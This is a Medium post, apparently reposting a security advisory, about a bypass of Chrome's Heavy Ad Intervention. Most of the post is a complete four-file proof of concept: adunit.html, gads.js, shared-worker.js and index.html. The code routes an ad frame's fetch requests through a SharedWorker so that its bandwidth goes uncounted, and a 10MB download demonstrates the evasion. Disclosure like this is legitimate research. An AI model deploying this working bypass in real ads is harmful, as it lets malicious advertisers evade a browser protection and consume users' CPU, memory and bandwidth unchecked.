Bypass Chrome Ad-Heavy detection mechanism

Description:

The Chrome Ad-Heavy mechanism prevents attacks against malware that may masquerade as ads. Researchers have discovered a vulnerability in the way Chrome tracks Ad-Heavy that allows malicious ad authors to place memory- and CPU-hungry ads without being “killed” by Chrome’s Ad-Heavy detection mechanism. Impact: All Chrome versions that support Ad-Heavy (Chrome 92.0.4515.159 and higher)

Vulnerability Analysis

PoC provides a polyfill for window.fetch that delegates the network request to SharedWorker. SharedWorker’s bandwidth is not tracked as part of the ad unit, so it can make the network request and then send the response back to the ad unit frame via postMessage without triggering the Chrome’s ad intervention logic.

Exploit:

adunit.html

<html><head><style>* {font-family: 'Helvetica', sans-sarif;}.header {font-size: 1.5rem;font-weight: 700;color: red;}</style></head><body>The frame will now start violating the heavy ad intervention rules, please hold...<p class="header">DO NOT CLICK THIS FRAME!</p><small>Clicking this frame will disable heavy ad intervention on it</small><br/><p>To ensure this is an ad:<ol><li>Open DevTools (Ctrl + Shift + I)</li><li>Cutsomize and control DevTools (Three vertical dots) -> More tools -> Rendering</li><li>Enable `Highlight ad frames`</li></ol>Verify that this frame is then colored red to ensure it is detected as an ad-frame by Chrome.</p><div id="output"></div><script>// Your heavy ad intervention bypass goes here:// alert("Ad loaded - Insert your script in adunit.html");/*This is a very basic polyfill for window.fetch via a shared worker.This works as a drop-in replacement to window.fetch.It currently doesn't handle well errors or multiple simultaneous requests with the same URL,but it works for demo purposes. More robust implementation can be made fairly easily.To debug shared workers, need to use chrome://inspect/#workersDelegated network requests will only appear in the shared worker's DevTools.*/var resolveResponse = {};var sharedWorker = new SharedWorker('shared-worker.js');sharedWorker.port.onmessage = (event) => {if (event.data.fetchUrl && event.data.fetchResponse) {console.info('Response:', event.data.fetchResponse);var response = new Response(event.data.fetchResponse);resolveResponse[event.data.fetchUrl](response);delete resolveResponse[event.data.fetchUrl]; // Save memory, not strictly needed} else {console.warn('Received unexpected message from shared worker');}};var originalFetch = window.fetch; // For easy behavior comparisonwindow.fetch = (fetchUrl) => {// Uncomment line below to see how PoC works with original fetch// return originalFetch(fetchUrl);return new Promise((resolve, reject) => {resolveResponse[fetchUrl] = resolve;// return resolveResponse[fetchUrl](new Response('Test response')); // For development purposessharedWorker.port.postMessage({ fetchUrl: fetchUrl });});}</script><script defer="" type="text/javascript">// Loop download of a 10MB file to trigger heavy ad intervention's network limitfunction download() {// Removed recursive calling, since single resource load will trigger intervention.// Added output for verification purposes.// Using jsdeliver.net or same-origin file does not affect behavior// fetch('./big.bin').then(response => {fetch('https://cdn.jsdelivr.net/gh/ssd-secure-disclosure/challenges/chrome-ad-heavy/big.bin').then(response => {return response.text();}).then(response => {output.innerText = 'Response: '+response.substr(0,100)+'... (total length: '+response.length+')';// Feel free to test recursive calling if desired.// download();});}download();</script></body></html>

gads.js

"use strict";const iframe = document.createElement("iframe");iframe.src = "adunit.html";iframe.style = "width: 98vw; height: 60vh";document.body.appendChild(iframe);

shared-worker.js

/* shared-worker.js */// Part of window.fetch polyfill, makes requests on behalf of page.// To debug shared workers, need to use chrome://inspect/#workers// Delegated network requests will only appear in the shared worker's DevTools.self.onconnect = (event) => {var port = event.ports[0];port.onmessage = (event) => {if (event.data.fetchUrl) {var fetchUrl = event.data.fetchUrl;fetch(fetchUrl).then(response => {response.blob().then(blob => {port.postMessage({ fetchUrl: fetchUrl, fetchResponse: blob });});});} else {console.warn('Must send fetchUrl in message.');}}}

index.html

<!-- index.html --><html><head></head><body><p>Hello! This is the main site. </p><p>The ad should be loaded below:</p><script src="gads.js"></script></body></html>

--

--

--

#InfoSec | #RedTeam | #OSINT | #CyberSec | #Pentest

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Part 3: The Technical Implementation

Mostly asked Data Structure questions asked in interviews

Comparing Authentication Tools For Developers

Top 5 Website Speed Optimization Tips

Motivation Slipping Away… [Penzu]

Rewriting Javascript: Using Maps

How to Structure a Multi Page Dash App

Common Junior Frontend Interview Questions about React

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
0x0021h

0x0021h

#InfoSec | #RedTeam | #OSINT | #CyberSec | #Pentest

More from Medium

TryHackMe Writeup : Solar, exploiting Log4J🥷🏻🥷🏻

Insecure Deserialization — FAQ

Log4j RCE CVE-2021–44228

Broken Link hijacking — What it is and how to get bounties with it! $$$